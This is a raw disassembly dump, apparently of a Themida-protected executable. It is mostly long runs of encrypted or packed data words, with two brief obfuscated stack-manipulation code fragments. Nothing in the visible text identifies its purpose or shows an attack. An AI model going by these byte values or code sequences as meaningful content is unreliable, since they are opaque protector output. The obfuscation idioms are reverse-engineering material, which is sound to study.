0B0AD3368h, 73EC7429h, 0ABC33566h, 72EB6D2Eh dd 0C7D3667h, 0A9F2E77Eh, 4993C37h, 0A8F5E27Ch, 0FAA33C30h dd 62687656h, 5612FB26h, 2B478645h, 0BC32A7BEh, 3FAAC335h dd 8C3EB520h, 0B82918DEh, 35BB3533h, 637CF068h, 5ED0EA90h dd 0C62EB241h, 34BFD854h, 0E6F36C8Eh, 0F36D890Bh, 2990637Eh dd 213DC8BCh, 31DE3B8h, 0DD530596h, 0A4BF31C0h, 81D2C231h dd 6976E893h, 0D5C05B65h, 26624C21h, 35D65278h, 0BDB0461Ch dd 0B02ACA24h, 0E753F5BCh, 4B62DE86h, 0F7BE4EA5h, 0FE1C3641h dd 94405EFh, 5E894FFAh, 56h, 0AE2B472Dh, 18819C1Eh, 0FFC755DCh dd 81C3641h, 0FF4E0FF5h, 68894FF9h, 1, 8D2A4727h, 0B99CC35h dd 0D60CA6A7h, 1C3545ECh, 61900924h, 2DC3E5DFh, 0C2DF52C6h dd 12A5BD2Fh, 3545E6CCh, 32BCE21Ch, 190B5ABFh, 0B5E6F36Eh dd 0E9B22F43h, 36A3BB45h, 2E471FBEh, 59D448ABh, 0D243B140h dd 7B1E17E2h, 63697753h, 571C3641h, 10C8A551h, 0E9B931Ch dd 846F8116h, 9103EE00h, 831E139Eh, 0EF02EC70h, 0ACAD970Eh dd 894FFF71h, 6F16h, 2E477500h, 5BD448ABh, 2BC5D24Eh, 100461C8h dd 43DDCC65h, 7D039856h, 8AFEF5E4h, 37C90592h, 0CF649A3Fh dd 0C2A32ACAh, 78547163h, 3641606Ah, 0A252541Ch, 4FFFE3FAh dd 0BDE3A789h, 1C364BF7h, 6209EDF3h, 4Eh, 0AB2E4731h, 4D5AD448h dd 3E5BD4D5h, 31BF41B0h, 0EBD92AC2h, 49620920h, 0C4EEB4EDh dd 0C01C358Ch, 0EA93A21Eh, 1AB9E20Ch, 44AF2A47h, 75001C9Eh dd 3641852Fh, 915F811Ch, 8816DE62h, 1C364145h, 12CBB94Ch dd 894FF9BBh, 1ACh, 0EB15DB00h, 0DEFB7570h, 945F9113h dd 0F56AE410h, 0EEC1BFBAh, 35B40AB0h, 0E8D8FE1Ch, 0C927C9C6h dd 1DBAB62Ah, 86130FB1h, 0E37DEF6Eh, 9489FBF6h, 0B451E60Dh dd 0EE5F25C0h, 0E1FC7306h, 1B58D3EDh, 35AC3F85h, 3BB53B1Ch dd 0EBC034B8h, 3D91495Ch, 9B33AEC3h, 35ACBF05h, 0C135BB1Ch dd 0D34F711Dh, 25A92BC6h, 35AC357Fh, 47AF311Ch, 2CF2EB9h dd 4AE2DC15h, 0F5FBA94Dh, 9968AFEh, 4750CC94h, 7BF406ACh dd 0EF11935Eh, 0D8F6277h, 8E735BE9h, 0A2831300h, 2EABC7B2h dd 6A77EB6Dh, 80191587h, 7663FF71h, 8C15097Bh, 3E267765h dd 685CC93Bh, 8318819Dh, 0A53C31CBh, 0AC5CB151h, 0EC0E9285h dd 0E78E6673h, 0EFh, 0C39B2EA8h, 5F4ED50Bh, 2AD41503h dd 964CA835h, 0F36FE110h, 2F43B5E6h, 51CD3FB2h, 766F2B1Ah dd 0B6538D08h, 0A8B70B09h, 24CF217Eh, 587D67B4h, 25CCC966h dd 45D953A3h, 428B3F5Ch, 259285CBh, 3Eh, 0C7872E66h, 4223D907h dd 1FA11C36h, 0AF659104h, 903ACA29h, 9F1C3641h, 0E7CE9282h dd 41D5DF05h, 0CFD11C36h, 0FDF7AD21h, 31C3641h, 918A67F9h dd 8507EA04h, 801DC371h, 6E82h, 9B2EC300h, 72D50BC3h, 66150369h dd 233FB140h, 0BF41E5B6h, 3BBD34A1h, 0C231A8C5h, 2844B63Eh dd 0CA5F1FAFh, 5A421B2h, 0DEDA55CBh dword_5A0468 dd 678ACAE2h, 0D323CDC8h, 7FCBBC4Ch, 0E4411300h, 706905F0h ; DATA XREF: Themida_:005469DDo dd 51099C2Bh, 7671517Dh, 0AAE9964h, 50A3362Fh, 3CD222CCh dd 0BD813BBh, 0C83CB739h, 0B8A84B54h, 2275796Bh, 0BB3C626Ah dd 3914FEFAh, 1545E6B7h, 8C6772EBh, 4E59EC08h, 68923696h dd 8709E8F1h, 5920E16Fh, 1294150Dh, 0E8F16DDFh, 0A8312DB3h dd 19869A24h, 1F9E56DAh, 0B8773391h, 24967036h, 166B8B0Ch dd 0DAC75B2Eh, 78F30DC1h, 0B27995Dh, 79F1638Eh, 0DBA39160h dd 772D4AE1h, 0F137774Dh, 0AD49A749h, 23676C58h, 3777377Dh dd 558B33F1h, 0F137776Fh, 4BAB456Bh, 57445DD1h, 0A52B0F6Fh dd 6638F962h, 0A7001C8Eh, 0EE50B8Eh, 824h, 7F4F6500h, 0FEF6E37Dh dd 0B015475Fh, 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h dd 2FAAC335h, 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 89575D2Ah dd 4C781E7h, 53000000h, 4BBh, 5BDF2900h, 5C243C87h, 7F2768h dd 24348900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h dd 5217h, 0BD242C89h, 75FE7303h, 0C581D5F7h, 7F398E5Ch dd 545DEE89h, 81241C8Bh, 4C4h, 49756800h, 34890000h, 8438F24h dd 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 348B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- dw 10C3h dd 31F88585h, 3B1F8CB8h, 0FFC50309h, 0CC9748E0h, 0E6A1B062h dd 94571E54h, 1D04D758h, 0FC91CF73h, 33A5E330h, 1681833Bh dd 7C2FCD12h, 2522A248h, 35F02F64h, 64640276h, 0D7788759h dd 76EE8003h, 0A96BD222h, 0CADEB107h, 343C904Bh, 77B924Dh dd 17DE92Dh, 5D600000h, 16C4FFEh, 0D1D76FC2h, 41EFB4CAh dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch dd 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 72D3C20Dh, 0E95F4C47h, 104Dh dd 3B23DE68h, 23AAE909h, 0BA68FFFBh, 0E9093B24h, 0FFFB23A0h dd 3B263568h, 2396E909h, 0F768FFFBh, 0E9093B26h, 0FFFB238Ch dd 3B286368h, 2382E909h, 4F68FFFBh, 0E9093B29h, 0FFFB2378h dd 3B2A0868h, 236EE909h, 9968FFFBh, 0E9093B2Ah, 0FFFB2364h dd 3B2BB968h, 235AE909h, 3868FFFBh, 0E9093B2Ch, 0FFFB2350h dd 3B2CFE68h, 2346E909h, 0A368FFFBh, 0E9093B2Dh, 0FFFB233Ch dd 3B2E3568h, 2332E909h, 8268FFFBh, 0E9093B2Fh, 0FFFB2328h dd 3B308968h, 231EE909h, 8B46FFFBh, 2DA5E2CBh, 0B61B6C31h dd 2BA4E3C8h, 0CE05022Bh, 46F18B90h, 7AA3DBF2h, 815418Dh dd 84A9D1F7h, 0C115183h, 6C76DF08h, 0EFCF88A2h, 1ACE129Ch dd 9440435Ah, 2FF8C7D4h, 875E029h, 4BCF82A7h, 0CD53C2DDh dd 95CF82A6h, 0CC73EB2Ah, 15F9B1D1h, 46h, 87F7DBECh, 0AD45FC88h dd 0EA1F1D0Eh, 0BA89F5DDh, 0B15146CFh, 0B464CF82h, 82FCB0D9h dd 193BBA86h, 0C31DA8D1h, 98CF82C0h, 0CE54B180h, 94CF82C0h dd 0CD72EA29h, 14F9B1B3h, 10Ah, 0F33E43E9h, 73E1F584h dd 1ACE26C0h, 0AE1A2D5Ah, 7E35CFCEh, 6CE9E009h, 0C64D807Ah dd 3626AED9h, 2C5BCD57h, 70FBB6A6h, 0F9EE2159h, 7370AFCFh dd 75548041h, 4D811610h, 45D345C6h, 0A74BCAD3h, 6EC64D85h dd 0FC0DFA7Ah, 4D848799h, 295CCCC6h, 46E2BDA1h, 0EFD9266Bh dd 4493908Fh, 33463344h, 4D8450D2h, 1E1503C6h, 82AF029Fh dd 0B2C751CFh, 25B00FC5h, 0CF82AEBBh, 0FF1E88A0h, 3FD03769h dd 0BB6D6889h, 0B468A108h, 0FC4AEA3h, 26B4504Fh, 0C37E90A6h dd 0E0292FF8h, 0BAF09F75h, 0FA28B4D8h, 3E389542h, 6517C55Fh dd 4237E10Eh, 0BBE09E35h, 6915B9CEh, 78E6ED5Ah, 63BA7394h dd 0FFE3B675h, 0D9Eh, 909DDDF0h, 0FA235B6Fh, 919AC40Dh dd 101D5976h, 79A2D8EFh, 0C9005403h, 537B8C91h, 0C70DFA23h dd 4F798697h, 0E10EFE2Fh, 88A38264h, 10AAD1CFh, 465707CEh dd 5DC74E3Bh, 0FEC64D80h, 0B82C172Ah, 5EC8B617h, 1D0EA54Dh dd 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h, 5F582574h dd 0C2D4EF6Fh, 0F9B1C31Dh, 0BBC4h, 1ACE0A00h, 8940435Ah dd 9B57BED1h, 5AC64D85h, 73F90E6Eh, 0CB01DCFCh, 7957C993h dd 0C6C1A89Bh, 4A3B5212h, 0B4EB8B3Dh, 0C5166150h, 9EA7948Bh dd 0FB0A612Ah, 9FEA8D6h, 0F8C10700h, 43FEA8D0h, 833119C6h dd 0E2EBDCCFh, 414BD74h, 0B9BF2817h, 0DDFE45D0h, 8B9DD8BAh dd 1C42897Eh, 2D9F00Fh, 4F9DA183h, 0B066B2C6h, 63B72DCCh dd 0C5A17C75h, 0CC2h, 0F4B9B914h, 6E3F3F93h, 0D5C6B811h dd 743925AAh, 0EDBEBC13h, 0BD146807h, 3F8FF0BDh, 0BB116E3Fh dd 3BADDAC3h, 3522723Bh, 88A456D0h, 0FC7605CFh, 6816B7D0h dd 53E0D335h, 0D22DFE7Ch, 845EE7E6h, 0D7C64D80h, 2CC6D741h dd 435A1ACEh, 0A3D49440h, 603F3F94h, 641AB1C4h, 7DE4DF29h dd 265359C2h, 829C5A9Fh, 20FF29CFh, 829C6B71h, 988F7CFh dd 0B1EF2ED5h, 5AB7F9h, 0E3F0000h, 6BEA1F1Dh, 0CF82A442h dd 63BD4831h, 96CF82A3h, 7CAC3D39h, 626B1CC5h, 198F19F4h dd 0DF590306h, 0FBD7B71Fh, 27B5142Fh, 3BCF82A3h, 621145D4h dd 73F9B1D4h, 20h, 1F1D0EFBh, 81F66BEAh, 0CB5DCF82h, 81BF1DD4h dd 3CA3CF82h, 0F2FAA9DDh, 7EBF9B1h, 73000000h, 8D22Dh dd 1D0ECD00h, 0EADFEA1Fh, 4D80796Bh, 734EDAC6h, 88A26996h dd 0E940ACCFh, 7081DB68h, 47D93C4Dh, 0CCF88A2h, 8A7D8A1Ch dd 43E91E5Eh, 9D33212Ah, 1F60FDDh, 0F44E7A60h, 7BD10102h dd 32A6E1C8h, 1D2A5B32h, 2CAC5B1h, 5FEE8B52h, 96E33568h dd 8932B52Fh, 0BF72A6CFh, 0D42523F4h, 0C452DB71h, 7CE4F8D8h dd 0CC86F072h, 8E7B8C1Ah, 182B5379h, 0F4B9B92Bh, 0BF21A495h dd 94C64DD4h, 215D7184h, 9CA79AEEh, 52554828h, 0F768389h dd 0CF82E06Eh, 0BEBE2A1Dh, 3E4EDA03h, 7C54F5C9h, 4721C5D8h dd 9900000Bh, 24634836h, 827DAEAEh, 0F7081549h, 8483A8D6h dd 54200D4Dh, 0F06E65B9h, 82F2DC2Bh, 0F6666E99h, 8EEEDA25h dd 3826F9Dh, 0CF88A721h, 5CB14932h, 0C64D81C6h, 8B7C7C6Bh dd 88A2E50Ah, 131810CFh, 94E5E334h, 5E3131A3h, 887520CAh dd 0D409828Fh, 0C4F154DDh, 1FD8C49Bh, 0DD070009h, 8671909Dh dd 0AAFE114Dh, 5AEEF85Dh, 0BB6DC64Eh, 88497B08h, 6011C5Ch dd 900690CCh, 5B61CA7Dh, 7AB1A72Eh, 56C2CF89h, 86A21621h dd 6427E501h, 4754C222h, 0B1EC8C38h, 88B2E044h, 8686554Fh dd 23FD8871h, 384F88B3h, 5168D1E0h, 0B0EF6F66h, 0F605D54h dd 5E58BDB9h, 9E43C2CAh, 3346F56Fh, 0A858Fh, 86F4D700h dd 0FC606A95h, 83FBD02Fh, 0F6606D9Ah, 8BF3DA25h, 0E73BDAA2h dd 56B17AE0h, 0D02FFC78h, 6C9B80F8h, 0E133F878h, 0A6938DF8h dd 0B3C8CF88h, 1F1D0E3Bh, 0A64DDFEAh, 0F4E2F8F9h, 793693AEh dd 0DCCF88E5h, 984C3B4Ch, 0E44ADC39h, 8009CF88h, 88E50B15h dd 4ED850CFh, 3CEA9037h, 9E27126Fh, 0CF88E444h, 0A25B0117h dd 76D8F077h, 5A8EF9C8h, 0D740031Ah, 0B91A8D1h, 4DE3774Fh dd 43C271CCh, 0D8C3FEBAh, 0A19123C9h, 8C801671h, 173FED1Ah dd 51E1A36Eh, 37A92C5Dh, 1CC64E53h, 3B4C350Ch, 0B888AD89h dd 0BB070956h, 953F406Dh, 0C0DF9F34h, 17C5B264h, 0EE991Ch dd 0AA9D944Dh, 0D92E2EFDh, 88FF067Ch, 0AEDB4DCFh, 3222AC9Bh dd 0A0C0F47Fh, 18588C7Bh, 0FE929005h, 389FCF88h, 45324730h dd 3BB29189h, 0C007C874h, 477B8456h, 0F7212BB1h, 0FEF4BD3Ch dd 9187D8C3h, 47A4F68h, 0B9C47F09h, 5ABB1ACEh, 0C64DFEC8h dd 0A6D6FC8Bh, 1D8B1D67h, 0A5C5EF10h, 6E6EBD6Ah, 0B2173019h dd 77FBD1CCh, 2458DB56h, 0B4112076h, 0CF88C407h, 0B71E2B5Eh dd 0CF88832Dh, 8799FA2Eh, 0CCCF8883h, 92D3CA5Ch, 0F02F2FA5h dd 839690F5h, 53C5CF88h, 5AC1EEC5h, 83D052B3h, 9583CF88h dd 8E8FF603h, 9DD8BDA2h, 0B718838Bh, 0EE11756Fh, 91958h dd 0F2606B00h, 88F4DE29h, 0EF6F64A3h, 520CC1BEh, 0E7973E49h dd 3B8F3EB6h, 0CAB5E694h, 34535804h, 0B0CFDC9Ch, 55376404h dd 0A837A92Ch, 6F1CCF88h, 5A1ACEC7h, 0F6697F2Dh, 85C25DD1h dd 3AAED9AEh, 0A920633Ah, 25A9DEB1h, 0A8216639h, 61B053B6h dd 371213F7h, 0EC3A31CCh, 34C756B9h, 27BBE080h, 0F0842F78h dd 769h, 22DF100h, 0CD000005h, 0D645245Eh, 5B24A1D6h, 2ACF8298h dd 97ECF65Fh, 0B96FCF82h, 0A62F1A6Fh, 0CF82973Ch, 0FC740422h dd 3623A055h, 0B63095E2h, 0A5CF82C0h, 0DF04C073h, 0A28E9257h dd 0A5992F48h, 30F21DFCh, 0E3BA6C0Bh, 0D6457241h, 3B24A1D6h dd 4AA9C180h, 1304BFDEh, 0FF38E415h, 53FCD51Ch, 0B8AF3CEh dd 0A291E185h, 0EF8F394Eh, 345D54B0h, 30A493E4h, 0A81C6B30h dd 346DC4C8h, 613CAF52h, 82D85h, 0E4C7F00h, 74E8E21Dh dd 0B7358A7h, 6EE8E522h, 0D38B423Dh, 2F8332CAh, 0CEB9E298h dd 38475400h, 0C4C3E890h, 494B5010h, 0A92BB520h, 5B30CF88h dd 1E1ACED3h, 0F24D2DABh, 369FE829h, 0C64E60ACh, 0F02F79AFh dd 8D9EDCF3h, 0C4A8374h, 9BA18A35h, 81A0E76Eh, 6A5FCF89h dd 8940F9EBh, 0F3CE5ACFh, 3E493EEAh, 0AC9DEA8Ah, 8940B729h dd 0E3EB9CCFh, 470E2573h, 0B1EC8C38h, 70DC24B8h, 8EF4D210h dd 191F08B3h, 0D35465F0h, 0D2A7D8C3h, 4D927173h dd 0E036E2C6h, 9334A097h, 49299B3Ah, 0B92BAADFh, 9AC64D92h dd 0F413188Eh, 7A6DA0C0h, 84E32B53h, 0A57561B8h, 774EC7Ah dd 0BC60000h, 0AD25624Bh, 369BECB1h, 0AB246348h, 4E8582ABh dd 0C6710B10h, 0FA235B72h, 8895C10Dh, 4295177h, 8C91D103h dd 0ECF65F88h, 6FCF88AAh, 1D0E921Ch, 0E8DFEA1Fh, 3DBC77E7h dd 0CF88A1BCh, 1115BD6Fh, 26BC0CA9h, 0B281F9CFh, 0EF08F127h dd 8778A5C5h, 40EC1D5Dh, 0BA2007A4h, 845EE737h, 0D7CF8907h dd 67DCD741h, 1B43897Eh, 8C8C5B28h, 191D1A7Bh, 0A438D8BEh dd 286ECC7Eh, 0DE48CDAEh, 7DC65C7Dh, 63ABFDABh, 756F571Ah dd 0E356EC0Fh, 35000006h, 0B0CFDC9Ah, 4E39621Ah, 0B3D4D985h dd 304F5C1Ah, 40BCE199h, 0D48A4195h, 6616B8C7h, 0DA824A35h dd 6202B6D1h, 0A72E5B39h, 0CF88AA3Dh, 0CEC56D1Eh, 42435A1Ah dd 8054CE37h, 0D507C64Dh, 98AAC3E4h, 2F02944Ah, 0BDD09044h dd 831E02CAh, 3D5B75ACh, 61A6792Fh, 0B18F777h, 0F4231180h dd 0A1DDF601h, 2A54796Eh, 0D342C57Ch, 54CE3742h, 7C64E26h dd 0BDC24B11h, 7B3B25F0h, 2D09BBC8h, 6D6EB170h, 73D227ABh dd 0C64D9271h, 0BBE036E2h, 84E57827h, 0E69F0h, 0D0F10000h dd 346B13B7h, 96B5E1D0h, 35000002h, 435A1ACEh, 93F29780h dd 0C64D8091h, 0B7C056C2h, 88A2AD4Eh, 6ACC60CFh, 918C3276h dd 20F8A190h, 98D80CFBh, 134B8285h, 0B2EE3D0Ah, 300D6BD3h dd 8B7C2A8Ch, 5CA42AE1h, 0A39E741Ah, 8F613B9Ah, 26F2D8C4h dd 72F2E6D1h, 0CE6A5EA9h, 8614AC84h, 9018C27Ch, 9A3D840Ch dd 65A27D2Bh, 47A4F6Eh, 0F6297F09h, 95E2EA31h, 835A3730h dd 0AF226CFh, 7C542FA9h, 0C319ADD0h, 15000005h, 90EFBCBAh dd 2E59423Ah, 93F4B9A5h, 106F3C3Ah, 20DCC1B9h, 0B4AA2175h dd 463698E7h, 0BAA22A55h, 422296F1h, 0C74E3B59h, 0CF88AB5Dh dd 0CEE58DFEh, 42435A1Ah, 0D2E19D35h, 6F37365h, 8BA6D8F1h dd 0F120EBB8h, 0AE17B622h, 0C64D8034h, 76A7F127h, 84F73FE4h dd 15A6F0h, 0CCBB0000h, 0A7455818h, 0A41476D6h, 3FF2A4CCh dd 1422DA7h, 0CECD0000h, 37325A1Ah, 727561AAh, 544BB87h dd 3B960000h, 0BD15723Bh, 26ABDCC1h, 0BB147338h, 3E95F2BBh dd 0F6A15B40h, 6A332BA2h, 0D8C5B11Dh, 743921A7h, 0DCC1A113h dd 0DC46CFB8h, 7FCF88ACh, 1ACE620Ch, 9440435Ah, 5CEB9D4h dd 8A414659h, 45D0B9D4h, 0C64D80DBh, 63CAA880h, 6C0F0634h dd 0A6A5E2Dh, 0F7924121h, 4E39F084h, 6FB9D480h, 1AF354h dd 2D7B0000h, 0C8h, 5CB9D0CDh, 0C64D80CAh, 2CBDBD27h, 0B59945FCh dd 61000000h, 0EA1F1D0Eh, 0B78AF4DDh, 5CCBBCEh, 5E5F5E55h dd 0ADCF88A2h, 54798E7Bh, 0FF1E4089h, 881CF3A5h, 94A3E6B9h dd 0BB4D4020h, 0A1DD47CEh, 0AA7ECF88h, 0FDFBEC97h, 0A2D8890Ch dd 2DFBD8BDh, 6F8A7AE1h, 0EED4A775h, 47Eh, 0B07DFDD0h dd 1A037B4Fh, 0B17AE4EDh, 30FD7956h, 9982F8CFh, 0E9E034E3h dd 735BAC71h, 0E7ED1A03h, 6F59A677h, 1EE1E0Fh, 88ACA284h dd 30CAB1CFh, 0EA1F1D0Eh, 82CC776Bh, 3F48E0CFh, 0E5913D4Ah dd 0F66861CEh, 0CC7B6825h, 4C78CF82h, 0CB00FF2Ch, 7C516693h dd 295C2F02h, 0CC2BB520h, 5CECF82h, 0F5E24659h, 13821023h dd 62000004h, 6B13B7D0h, 0BCBC2B58h, 0A2B14ACBh, 54C4CF88h dd 9F9D8E39h, 0ECF65F6Ah, 72CF88A1h, 0E6DF7F3h, 4DDB8C83h dd 0D98A0B76h, 0FCD8BDD4h, 0F875E02Ch, 0C1DC756Fh, 3D925h dd 0B2A02B00h, 48349EE9h, 0AFAF2463h, 124C817Eh, 0A7D7FE09h dd 0FB4FFE76h, 8A75A6D4h, 0F4131844h, 708F9CDCh, 15F72444h dd 0AD7769ECh, 0AFDCCF88h, 1F1D0E07h, 0A2566BEAh, 0AB7DCF88h dd 0DDC16B5Eh, 8BB5E913h, 0D28A30C1h, 0F1AC7F08h, 0E3833542h dd 0BA1BCDBAh, 0D6326D11h, 915A4D40h, 3EE7E8Bh, 36F75500h dd 0F055E0D3h, 0D8C3AA62h, 6552A771h, 37B5273h, 0FD2E780Ch dd 7796D602h, 2C5D5BCCh, 82B490A9h, 4935E3CFh, 7C548836h dd 47B2906Bh, 99000003h, 24634836h, 827DAEAEh, 0F7081549h dd 8483A8D6h, 54200D4Dh, 0F06E65B9h, 82F2DC2Bh, 0F6666E99h dd 8EEEDA25h, 3826F9Dh, 0CF88AF21h, 0D0B14932h, 5E669E1Ch dd 30998D7Ah, 0D212D84Eh, 0D2A34EF6h, 0C3F58231h, 686156A3h dd 1B483BF6h, 0B9A128A9h, 0A3D442E6h, 4A3D3D94h, 7FE6DD81h dd 285157C0h, 8399E09Dh, 0C88913CFh, 2E8B6E5Ah, 0A6D6FE09h dd 0F716028Bh, 8315849Ah, 0F5616DCFh, 9D8C521Ah, 9B33AD14h dd 1AF5656Ch, 76A4F35Ah, 0D60E8DF0h, 0F9B1E829h, 28B8h dd 1D0E3E00h, 0EE6BEA1Fh, 5CF82B0h, 76205C72h, 0B0E4FA97h dd 0F7ECF82h, 0CB04F380h, 7926B88Bh, 68F9B1C3h, 0DAh, 5A1ACEEEh dd 0D1894043h, 443A8FA8h, 8F04BF49h, 0F6686156h, 0E484303Bh dd 1C7C0A9h, 0EBDD6A59h, 9F7EFEEAh, 0B8A9305h, 0C64D85E7h dd 33993AAEh, 0ACDD4Bh, 0A4BC8488h, 0F20218ACh, 0B81F9C4Eh dd 44432A19h, 0ABDD090h, 0D9EE1B21h, 0B69689F5h, 0F379694Fh dd 3A099FB2h, 7001C64Fh, 4334CF83h, 0B8E1D08Eh, 9B8C3B60h dd 0DD7DA961h, 6BBD42FDh, 8AC8B71Eh, 8197D8BAh, 12487F78h dd 0A7D7FE09h, 6348D257h, 962C4F75h, 1FAh, 0CCD1814Ch dd 366717BBh, 0CDDE8049h, 3C611DB2h, 0C5D6844Bh, 0A52C802Fh dd 3797E8B5h, 0A3295647h, 2395F2BBh, 4D3A5A43h, 88AF5EC8h dd 0E48EFDCFh, 465707CEh, 0C5508F39h, 0C64D805Bh, 897E2800h dd 0E726567Eh, 0FEA8C8FCh, 0A998C607h, 1D0E36C4h, 0EE6BEA1Fh dd 5CF82B0h, 60CC2AD7h, 7D2BF795h, 24527B8Ch, 45DB3A0Dh dd 0ACCF832Ah, 2E593424h, 19D7B6A6h, 3D9467B6h, 0A20DEB3Dh dd 5954FB73h, 0CB7DF9B1h, 0C5000000h, 435A1ACEh, 0AA328940h dd 16A8CE48h, 67791A9Bh, 0ECC64E16h, 16AE389Dh, 7BADC64Eh dd 7B8E7B2Dh, 4E17081Ah, 86A14BC6h, 62DE802Bh, 4A3DF4A2h dd 4DF407ABh, 0D7F710C6h, 359F8CA7h, 0AD176835h, 6D5D2CDh dd 0CE06F106h, 7A548F8Eh, 0AC95ACFAh, 83185C29h, 0FC21F7CFh dd 0ABDCDC4Bh, 0BA78F42Ah, 0C0C95FD8h, 2A5D1DC7h, 7B06BDA1h dd 815458Ch, 62AAD0F7h, 75635CD5h, 0F39D2954h, 45000000h dd 0A0DFCC8Ah, 1E69322Ah, 0A3E4C9B5h, 0FF2C2Ah, 0F08C91C9h dd 0A4DAF145h, 16468877h, 0AAD2FA05h, 12528681h, 77DE0B09h dd 0CF88B06Dh, 0CE159DEEh, 39465707h, 5BC5508Fh, 0C64D80h dd 5184687h, 56A3F5A3h, 3CF77761h, 1ACE9D55h, 3742435Ah dd 4D8054CEh, 4AD507C6h, 0B36144CAh, 15221187h, 0EDDAC3A3h dd 0FE09FEFEh, 3A3368D0h, 18CCEA41h, 0BFCAB38Eh, 0A41C3A2Dh dd 5A699ABFh, 89564E7Bh, 7C9385CFh, 101D5D87h, 91CD06F1h dd 2C172A7Eh, 30E5B8B8h, 26008B8Ch, 0F32A5479h, 7F9EDEF0h dd 0C9FB1AE5h, 0D4A1F01Fh, 8EF22648h, 0D126972Eh, 99D87274h dd 7C37E125h, 78A5C5EFh, 537C5D87h, 0E98EC23h, 7BFBD40Fh dd 841376A4h, 94D400F7h, 27142F79h, 91F0BDBDh, 0F02F2FA6h dd 6EA1C1F3h, 54798C1Ah, 0B82C172Ah, 301E5B8h, 0E9000000h dd 3CE9565h, 9D473C53h, 0FC5C2DDh, 0BB13504Fh, 289FE4BBh dd 0A1285B32h, 2CA1E6B9h, 0A3285B32h, 2B9FE4BBh, 52805C33h dd 0C281E289h, 4, 4EA81h, 14870000h, 1C895C24h, 0E7895724h dd 4C781h, 0EF810000h, 4, 5C243C87h, 56243489h, 0C681E689h dd 4, 8704EE83h, 895C2434h dd 8868241Ch, 8B093B22h, 0C4832434h, 1C8B5404h, 4C48124h dd 50000000h, 8B8h, 56D80100h, 49240481h, 8F00B71Fh, 49288100h dd 5800B71Fh db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_552B74 ; --------------------------------------------------------------------------- dw 44D9h dd 85C9B6A7h, 31A1B834h, 0C503093Bh, 42D8E0FFh, 0D91854B6h dd 74F555E9h, 10E87A24h, 6998023Ah, 5657090Bh, 15CB3D26h dd 77CD326Ch, 0FA7A5472h, 395E3E52h, 39016C4h, 70995411h dd 593D030Ah, 48984AAEh, 939202CBh, 0BD12424Bh, 0CAE55F1Ch dd 6CA457A4h, 2B8E2CAAh, 4C6F5DDAh, 91B70278h, 4BB568A9h dd 9DA54E83h, 6D6560D5h, 8D8D5B42h, 93B3387h, 80DABF66h dd 16298D89h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0E2C454C3h, 8C610727h, 0C7DE8B66h dd 35287D85h, 677C09h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0B66D5272h, 0F0DF537h dd 380h, 0DF8B6600h, 0C7D2B70Fh, 35225585h, 9, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0BF467806h, 8BC9A41Eh, 0F5B5FF26h, 6A093511h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0BEB1C352h, 21DE71B4h, 95FF00B3h, 9350D05h, 9E9h, 573C2400h dd 0E2C6B49Fh, 6A0AA1h, 82995FFh, 0C08B0935h, 8C975CEBh dd 59D75859h, 514DE381h, 0B1F030DCh, 0C524DB26h, 26EC294Ah dd 430B93E8h, 0C9FDEF9Dh, 27949252h, 0D1754A99h, 4CB49D86h dd 9AC76D3Dh, 671E4034h, 76B82558h, 409F43EDh, 353EED13h dd 0BF4BD804h, 60ACDC0Dh, 4B34C355h, 542FE4FBh, 1E1D438Bh dd 39B3AA3Ah, 0C9BED8E1h, 0CE85C1Dh, 41000000h, 71F25418h dd 0A09748AFh, 8BEC8531h, 351D9DB5h, 8D8B5809h, 9351AE1h dd 5E25C081h, 890F0000h, 0Eh, 9E9h, 0D6548C00h, 0CC95C304h dd 5C68FE7Eh, 9000017h, 350825BDh, 0BE665B09h, 388B5F1Ah dd 0CE9h, 93553000h, 64A7D2E6h, 4A26AE69h, 8EF81CCh, 8B5DCEFCh dd 35179995h, 46F78109h, 0E84E0617h, 8, 0E1C5E5FDh, 0AF8EE42Ch dd 0FE9h, 0BDEAFF00h, 82D4E6BDh, 1A0AC4BCh, 4BEF3B6Ah dd 0CFF7815Eh, 664D9684h, 0AF8F281h, 0DE816657h, 8F5F88h dd 13E18D29h, 0E8830935h, 15952901h, 48093510h, 4BF84848h dd 0FF8C850Fh, 0F78AFFFFh, 354C8D8Dh, 0EBBE093Bh, 8968C26Ah dd 3516298Dh, 0CE816609h, 85C7DC92h, 935287Dh, 68D0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EBC35545h, 0C7F8752Fh dd 35225585h, 9, 0CB8B6000h, 0BE8h, 703CEF00h, 51861D3Bh dd 0A4FDC047h, 0FF615BFCh, 350C45B5h, 2D9D8B09h, 8B09352Dh dd 352D4DB5h, 595FF09h, 6A09350Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 542BC355h dd 16B5FE67h, 918D890Dh, 6A093522h, 2995FF00h, 8B093508h dd 0BD48EBC0h, 39CD7813h, 67A3BA6Bh, 6BAB2107h, 886B377Ch dd 0FA2A381Bh, 34DCF5A4h, 4F709B2h, 0F2262692h, 0C8BD973Bh dd 